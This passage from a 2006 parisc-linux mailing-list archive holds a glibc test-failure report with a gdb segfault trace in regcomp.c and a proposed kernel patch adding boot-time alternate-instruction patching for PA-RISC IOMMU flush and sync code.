	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: p+92ZGwWeSEkPr6WZHQhaXN1IGRvb8DU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23433

> Hello pa*,
> 
> With those debian src + Carlos's patch:
<http://cvs.parisc-linux.org/glibc/posix/regcomp.c?rev=3D1.3&view=3Dlog>,=
 here are
the latest 
> Error of make -k check:
> # grep Err ../../../../Logs/glibc-2.3.6-2.0.Check make[2]: *** 
>
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/locale=
data/sort-test.out]
Error 1
> make[1]: *** [localedata/tests] Error 2
> make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/math/t=
est-float.out]
Error 1
> make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/math/t=
est-double.out]
Error 1
> make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/math/t=
est-idouble.out]
Error 1
> make[1]: *** [math/tests] Error 2
> make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/posix/=
tst-rxspencer.out]
Error 139
> make[2]:
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/posix/=
annexc.out]
Error 1 (ignored)
> make[1]: *** [posix/tests] Error 2
> make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/linuxt=
hreads/tst-attr1.out]
Error 1
> make[1]: *** [linuxthreads/tests] Error 2
> make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/rt/tst=
-timer.out]
Error 137
> make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/rt/tst=
-aio4.out]
Error 1
> make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/rt/tst=
-timer4.out]
Error 1
> make[1]: *** [rt/tests] Error 2
> make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/elf/ts=
t-tls13.out]
Error 1
> make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/elf/ts=
t-execstack.out]
Error 1
> make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/elf/ts=
t-execstack-prog.out]
Error 1
> make[1]: *** [elf/tests] Error 2
> make: *** [check] Error 2
> 
> Sorry I didn't fond back the list of known Errors, could you point me o=
ut
regressions?
> 

For remind:
Rebuilding libc6 2.3.5-13 dpkg with gcc-3.3, I got following Error check:=

grep Err ../../../../Logs/glibc-2.3.5-13.Checkmake[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.5/build-tree/hppa-libc/locale=
data/sort-test.out]
Error 1
make[1]: *** [localedata/tests] Error 2
make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.5/build-tree/hppa-libc/math/t=
est-float.out]
Error 1
make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.5/build-tree/hppa-libc/math/t=
est-double.out]
Error 1
make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.5/build-tree/hppa-libc/math/t=
est-ifloat.out]
Error 1
make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.5/build-tree/hppa-libc/math/t=
est-idouble.out]
Error 1
make[1]: *** [math/tests] Error 2
make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.5/build-tree/hppa-libc/stdlib=
/tst-strtod.out]
Error 1
make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.5/build-tree/hppa-libc/stdlib=
/bug-strtod.out]
Error 1
make[1]: *** [stdlib/tests] Error 2
make[2]:
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.5/build-tree/hppa-libc/posix/=
annexc.out]
Error 1 (ignored)
make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.5/build-tree/hppa-libc/linuxt=
hreads/tst-attr1.out]
Error 1
make[1]: *** [linuxthreads/tests] Error 2
make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.5/build-tree/hppa-libc/rt/tst=
-timer.out]
Error 137
make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.5/build-tree/hppa-libc/rt/tst=
-aio4.out]
Error 1
make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.5/build-tree/hppa-libc/rt/tst=
-timer4.out]
Error 1
make[1]: *** [rt/tests] Error 2
make: *** [check] Error 2


Well, the first regression is in tst-rxspencer which only failled on 2 te=
st:
[...]
a[[=3Db=3D]]c      &       abc     abc
[...]
a[[=3Db=3D]        &C      EBRACK
[...]

Program received signal SIGSEGV, Segmentation fault.
0x400b7010 in build_equiv_class (sbcset=3D0x23268, mbcset=3D0x45600,
equiv_class_alloc=3D0xc0020e48, name=3D0xc0020e78 "b")
    at regcomp.c:3495
warning: Source file is more recent than executable.

3495          len =3D weights[idx1];
(gdb) p idx1
$1 =3D 16777820

...

Hth,
    Joel
=0A=0A-------------------------------------------------------=0ANOTE! My =
email address is changing to ... @scarlet.be=0APlease make the necessary =
changes in your address book. =0A=0A

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] alternate insn for parisc (ccio/sba)
Date: Fri, 3 Mar 2006 15:14:28 -0500
Lines: 374
Approved: news@gmane.org
Message-ID: <20060303201428.GA25283@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624010 18452 80.91.229.3 (22 Nov 2014 02:40:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Mar 2006 20:14:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 03 Mar 2006 21:14:49 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E0B77D642;
	Fri,  3 Mar 2006 13:14:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21321-08; Fri, 3 Mar 2006 13:14:45 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1FD3B7D644;
	Fri,  3 Mar 2006 13:14:44 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6C2537D640
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Mar 2006 13:14:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21321-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 3 Mar 2006 13:14:39 -0700 (MST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 7008A7D63F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Mar 2006 13:14:39 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id E01F523E87
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Mar 2006 15:14:06 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24604-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 3 Mar 2006 15:14:06 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca
	(CPE0004ace53177-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.204])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id D024823E86
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Mar 2006 15:14:05 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id EF2D73B00C; Fri,  3 Mar 2006 15:14:28 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.11+cvs20060126
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 7cZ6ZE1MeSEkfL6WZHQhaXN1IGRvb4AW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23434

Finally got around to making this work. I don't want to commit it yet,
as I still haven't decided I like using the x86-esque interface for
deciding to patch. And the names of some of the things are kind of lame.

Anyway, it appears to work in my testing on sba... I converted ccio when
I respun the diff too.

Someone looking it over would be nice. Ten poins if someone can find
another use for this that justifies making it as generic as it is.

Also, if you want to test it, you'll need to remove the & ~_PAGE_WRITE from
PAGE_KERNEL_RO in asm/pgtable.h until we write protect the kernel at a
later stage.

diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index 4a36ec3..df67259 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -38,6 +38,7 @@
 #undef PCI_DEBUG
 #include <linux/proc_fs.h>
 
+#include <asm/system.h>
 #include <asm/processor.h>
 #include <asm/pdc.h>
 #include <asm/led.h>
@@ -45,6 +46,7 @@
 #include <asm/pdc_chassis.h>
 #include <asm/io.h>
 #include <asm/setup.h>
+#include <asm/cache.h>
 
 char	command_line[COMMAND_LINE_SIZE] __read_mostly;
 
@@ -116,6 +118,66 @@ void __init dma_ops_init(void)
 }
 #endif
 
+static int parisc_patch_opcode(unsigned long flag, unsigned long reason)
+{
+	switch(reason) {
+	case ALT_PDC_CAPABILITY:
+		if (boot_cpu_data.pdc.capabilities & flag) {
+			return 1;
+		}
+		break;
+	default:
+		printk(KERN_INFO "Unknown reason for opcode patch.\n");
+		break;
+	}
+
+	return 0;
+}
+
+static void
+self_modifying_code_flush(unsigned long addr)
+{
+	/* flush_icache_range() does the dcache flush, sync, icache flush, 
+	 * sync. There should easily be more than 7 insns between the flush
+	 * and executing any patched instruction.
+	 */
+	flush_icache_range(addr, addr + 4);
+}
+
+void apply_alternatives(void *start, void *end)
+{
+	struct alt_instr *a;
+
+	for (a = start; (void*)a < end; a++) {
+		if (!parisc_patch_opcode(a->flag, a->reason))
+			continue;
+
+		/* pa-_risc_ no variable length crap here */
+		memcpy(a->instr, a->replacement, 4);
+		self_modifying_code_flush((unsigned long)a->instr);
+	}
+}
+
+static int no_replacement __initdata = 0;
+
+void __init alternative_instructions(void)
+{
+	extern struct alt_instr __alt_instructions[], __alt_instructions_end[];
+
+	if (no_replacement)
+		return;
+
+	apply_alternatives(__alt_instructions, __alt_instructions_end);
+}
+
+static int __init noreplacement_setup(char *s)
+{
+	no_replacement = 1;
+	return 0;
+} 
+
+__setup("noreplacement", noreplacement_setup);
+
 extern int init_per_cpu(int cpuid);
 extern void collect_boot_cpu_data(void);
 
@@ -319,6 +381,8 @@ static int __init parisc_init(void)
 			boot_cpu_data.cpu_hz / 1000000,
 			boot_cpu_data.cpu_hz % 1000000	);
 
+	alternative_instructions();
+
 	parisc_setup_cache_timing();
 
 	/* These are in a non-obvious order, will fix when we have an iotree */
diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index 6d6436a..cd42528 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -153,15 +153,13 @@ SECTIONS
   .con_initcall.init : { *(.con_initcall.init) }
   __con_initcall_end = .;
   SECURITY_INIT
-  /* alternate instruction replacement.  This is a mechanism x86 uses
-   * to detect the CPU type and replace generic instruction sequences
-   * with CPU specific ones.  We don't currently do this in PA, but
-   * it seems like a good idea... */
-  . = ALIGN(4);
+  /* alternate instruction replacement, see setup.c and system.h */
+  . = ALIGN(8);
   __alt_instructions = .;
   .altinstructions : { *(.altinstructions) } 
   __alt_instructions_end = .; 
- .altinstr_replacement : { *(.altinstr_replacement) } 
+ .altinstr_replacement : { *(.altinstr_replacement) }
+  . = ALIGN(4);
   /* .exit.text is discard at runtime, not link time, to deal with references
      from .altinstructions and .eh_frame */
   .exit.text : { *(.exit.text) }
diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index 93f8a8f..00e1a1c 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -604,19 +604,16 @@ ccio_io_pdir_entry(u64 *pdir_ptr, space_
 	((u32 *)pdir_ptr)[0] = (u32) pa;
 
 
-	/* FIXME: PCX_W platforms don't need FDC/SYNC. (eg C360)
-	**        PCX-U/U+ do. (eg C200/C240)
-	**        PCX-T'? Don't know. (eg C110 or similar K-class)
-	**
-	** See PDC_MODEL/option 0/SW_CAP word for "Non-coherent IO-PDIR bit".
+	/* See PDC_MODEL/option 0/SW_CAP word for "Non-coherent IO-PDIR bit".
 	** Hopefully we can patch (NOP) these out at boot time somehow.
 	**
 	** "Since PCX-U employs an offset hash that is incompatible with
 	** the real mode coherence index generation of U2, the PDIR entry
 	** must be flushed to memory to retain coherence."
 	*/
-	asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr));
-	asm volatile("sync");
+	pdc_capability_altinput("nop", "fdc %%r0(%2)", PDC_MODEL_IOPDIR_FDC,
+				"r"(pdir_ptr) : "memory");
+	pdc_capability_alt("nop", "sync", PDC_MODEL_IOPDIR_FDC);
 }
 
 /**
@@ -678,21 +675,14 @@ ccio_mark_invalid(struct ioc *ioc, dma_a
 
 		BUG_ON(idx >= (ioc->pdir_size / sizeof(u64)));
 		pdir_ptr[7] = 0;	/* clear only VALID bit */ 
-		/*
-		** FIXME: PCX_W platforms don't need FDC/SYNC. (eg C360)
-		**   PCX-U/U+ do. (eg C200/C240)
-		** See PDC_MODEL/option 0/SW_CAP for "Non-coherent IO-PDIR bit".
-		**
-		** Hopefully someone figures out how to patch (NOP) the
-		** FDC/SYNC out at boot time.
-		*/
-		asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr[7]));
+		pdc_capability_altinput("nop", "fdc %%r0(%2)", 
+					PDC_MODEL_IOPDIR_FDC, "r"(pdir_ptr[7]) : "memory");
 
 		iovp     += IOVP_SIZE;
 		byte_cnt -= IOVP_SIZE;
 	}
 
-	asm volatile("sync");
+        pdc_capability_alt("nop", "sync", PDC_MODEL_IOPDIR_FDC);
 	ccio_clear_io_tlb(ioc, CCIO_IOVP(iova), saved_byte_cnt);
 }
 
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index 5d47c59..ca4e4e3 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -39,6 +39,7 @@
 #include <linux/proc_fs.h>
 #include <linux/seq_file.h>
 
+#include <asm/system.h>		/* for instruction patching */
 #include <asm/runway.h>		/* for proc_runway_root */
 #include <asm/pdc.h>		/* for PDC_MODEL_* */
 #include <asm/pdcpat.h>		/* for is_pdc_pat() */
@@ -285,8 +286,6 @@ struct sba_device {
 
 static struct sba_device *sba_list;
 
-static unsigned long ioc_needs_fdc = 0;
-
 /* global count of IOMMUs in the system */
 static unsigned int global_ioc_cnt = 0;
 
@@ -745,8 +744,8 @@ sba_io_pdir_entry(u64 *pdir_ptr, space_t
 	 * (bit #61, big endian), we have to flush and sync every time
 	 * IO-PDIR is changed in Ike/Astro.
 	 */
-	if (ioc_needs_fdc)
-		asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr));
+	pdc_capability_altinput("nop", "fdc %%r0(%2)", PDC_MODEL_IOPDIR_FDC, 
+				"r"(pdir_ptr) : "memory");
 }
 
 
@@ -786,25 +785,13 @@ sba_mark_invalid(struct ioc *ioc, dma_ad
 
 	if (byte_cnt > IOVP_SIZE)
 	{
-#if 0
-		unsigned long entries_per_cacheline = ioc_needs_fdc ?
-				L1_CACHE_ALIGN(((unsigned long) pdir_ptr))
-					- (unsigned long) pdir_ptr;
-				: 262144;
-#endif
-
 		/* set "size" field for PCOM */
 		iovp |= get_order(byte_cnt) + PAGE_SHIFT;
 
 		do {
 			/* clear I/O Pdir entry "valid" bit first */
 			((u8 *) pdir_ptr)[7] = 0;
-			if (ioc_needs_fdc) {
-				asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr));
-#if 0
-				entries_per_cacheline = L1_CACHE_SHIFT - 3;
-#endif
-			}
+			pdc_capability_altinput("nop", "fdc %%r0(%2)", PDC_MODEL_IOPDIR_FDC, "r"(pdir_ptr) : "memory");
 			pdir_ptr++;
 			byte_cnt -= IOVP_SIZE;
 		} while (byte_cnt > IOVP_SIZE);
@@ -819,8 +806,8 @@ sba_mark_invalid(struct ioc *ioc, dma_ad
 	** could dump core on HPMC.
 	*/
 	((u8 *) pdir_ptr)[7] = 0;
-	if (ioc_needs_fdc)
-		asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr));
+        pdc_capability_altinput("nop", "fdc %%r0(%2)", 
+				PDC_MODEL_IOPDIR_FDC, "r"(pdir_ptr) : "memory");
 
 	WRITE_REG( SBA_IOVA(ioc, iovp, 0, 0), ioc->ioc_hpa+IOC_PCOM);
 }
@@ -927,8 +914,7 @@ sba_map_single(struct device *dev, void 
 	}
 
 	/* force FDC ops in io_pdir_entry() to be visible to IOMMU */
-	if (ioc_needs_fdc)
-		asm volatile("sync" : : );
+        pdc_capability_alt("nop", "sync", PDC_MODEL_IOPDIR_FDC);
 
 #ifdef ASSERT_PDIR_SANITY
 	sba_check_pdir(ioc,"Check after sba_map_single()");
@@ -998,8 +984,7 @@ sba_unmap_single(struct device *dev, dma
 	sba_free_range(ioc, iova, size);
 
 	/* If fdc's were issued, force fdc's to be visible now */
-	if (ioc_needs_fdc)
-		asm volatile("sync" : : );
+	pdc_capability_alt("nop", "sync", PDC_MODEL_IOPDIR_FDC);
 
 	READ_REG(ioc->ioc_hpa+IOC_PCOM);	/* flush purges */
 #endif /* DELAYED_RESOURCE_CNT == 0 */
@@ -1147,8 +1132,8 @@ sba_map_sg(struct device *dev, struct sc
 	filled = iommu_fill_pdir(ioc, sglist, nents, 0, sba_io_pdir_entry);
 
 	/* force FDC ops in io_pdir_entry() to be visible to IOMMU */
-	if (ioc_needs_fdc)
-		asm volatile("sync" : : );
+        pdc_capability_alt("nop", "sync", PDC_MODEL_IOPDIR_FDC);
+
 
 #ifdef ASSERT_PDIR_SANITY
 	if (sba_check_pdir(ioc,"Check after sba_map_sg()"))
@@ -1877,7 +1862,6 @@ sba_common_init(struct sba_device *sba_d
 	}
 
 	spin_lock_init(&sba_dev->sba_lock);
-	ioc_needs_fdc = boot_cpu_data.pdc.capabilities & PDC_MODEL_IOPDIR_FDC;
 
 #ifdef DEBUG_SBA_INIT
 	/*
diff --git a/include/asm-parisc/system.h b/include/asm-parisc/system.h
index a5a973c..180fe0e 100644
--- a/include/asm-parisc/system.h
+++ b/include/asm-parisc/system.h
@@ -2,6 +2,7 @@
 #define __PARISC_SYSTEM_H
 
 #include <linux/config.h>
+#include <linux/types.h>
 #include <asm/psw.h>
 
 /* The program status word as bitfields.  */
@@ -146,6 +147,59 @@ static inline void set_eiem(unsigned lon
 #define set_mb(var, value)		do { var = value; mb(); } while (0)
 #define set_wmb(var, value)		do { var = value; wmb(); } while (0)
 
+/* Runtime overwritten alternate instructions */
+struct alt_instr {
+	u32 *instr;		/* original */
+	u32 *replacement;
+	unsigned long flag;
+	unsigned long reason;	/* pad to 4*sizeof(unsigned long) */
+};
+
+#ifdef __LP64__
+#define ALT_INSTR_ALIGN	"8"
+#define ALT_INSTR_TYPE	".quad"	/* grr, .long doesn't work */
+#else
+#define ALT_INSTR_ALIGN "4"
+#define ALT_INSTR_TYPE	".word"
+#endif /* __LP64__ */
+
+/* values for alt_instr.reason */
+#define ALT_PDC_CAPABILITY	1
+
+#define alternative(oldinstr, newinstr, flag, reason)		\
+	asm volatile ("661:\n\t" oldinstr "\n662:\n"		\
+		      ".section .altinstructions,\"a\"\n"	\
+		      "  .align " ALT_INSTR_ALIGN "\n"		\
+		      "  " ALT_INSTR_TYPE " 661b\n"		\
+		      "  " ALT_INSTR_TYPE " 663f\n"		\
+		      "  " ALT_INSTR_TYPE " %0\n"		\
+		      "  " ALT_INSTR_TYPE " %1\n"		\
+		      ".previous\n"				\
+		      ".section .altinstr_replacement,\"ax\"\n"	\
+		      "  .align 4\n"				\
+		      "663:\n\t" newinstr "\n664:\n"		\
+		      ".previous" :: "i"(flag), "i"(reason)	\
+		        : "memory")
+
+#define alternative_input(oldinstr, newinstr, flag, reason, input...)	\
+        asm volatile ("661:\n\t" oldinstr "\n662:\n"			\
+                      ".section .altinstructions,\"a\"\n"		\
+                      "  .align " ALT_INSTR_ALIGN "\n"			\
+		      "  " ALT_INSTR_TYPE " 661b\n"			\
+		      "  " ALT_INSTR_TYPE " 663f\n"			\
+		      "  " ALT_INSTR_TYPE " %0\n"			\
+		      "  " ALT_INSTR_TYPE " %1\n"			\
+                      ".previous\n"					\
+                      ".section .altinstr_replacement,\"ax\"\n"		\
+		      "  .align 4\n"					\
+                      "663:\n\t" newinstr "\n664:\n"			\
+                      ".previous" :: "i" (flag), "i" (reason), 		\
+		        ## input)
+
+#define pdc_capability_alt(old, new, flag) 			\
+		alternative(old, new, flag, ALT_PDC_CAPABILITY)
+#define pdc_capability_altinput(old, new, flag, input...) 	\
+		alternative_input(old, new, flag, ALT_PDC_CAPABILITY, input)
 
 #ifndef CONFIG_PA20
 /* Because kmalloc only guarantees 8-byte alignment for kmalloc'd data,
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] alternate insn for parisc (ccio/sba)
Date: Fri, 3 Mar 2006 17:38:02 -0700
Lines: 53
Approved: news@gmane.org
Message-ID: <20060304003802.GB18473@colo.lackof.org>
References: <20060303201428.GA25283@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624011 18454 80.91.229.3 (22 Nov 2014 02:40:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Mar 2006 00:27:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx004) with SMTP; 04 Mar 2006 01:27:43 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4AE497D641;
	Fri,  3 Mar 2006 17:27:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22398-09; Fri, 3 Mar 2006 17:27:38 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3475B7D642;
	Fri,  3 Mar 2006 17:27:37 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 728957D640
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Mar 2006 17:27:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22398-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 3 Mar 2006 17:27:33 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id BB6367D63E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Mar 2006 17:27:33 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 2E91136003B;
	Fri,  3 Mar 2006 17:38:04 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01537-01; Fri, 3 Mar 2006 17:38:02 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id BEE51360031; Fri,  3 Mar 2006 17:38:02 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20060303201428.GA25283@quicksilver.road.mcmartin.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
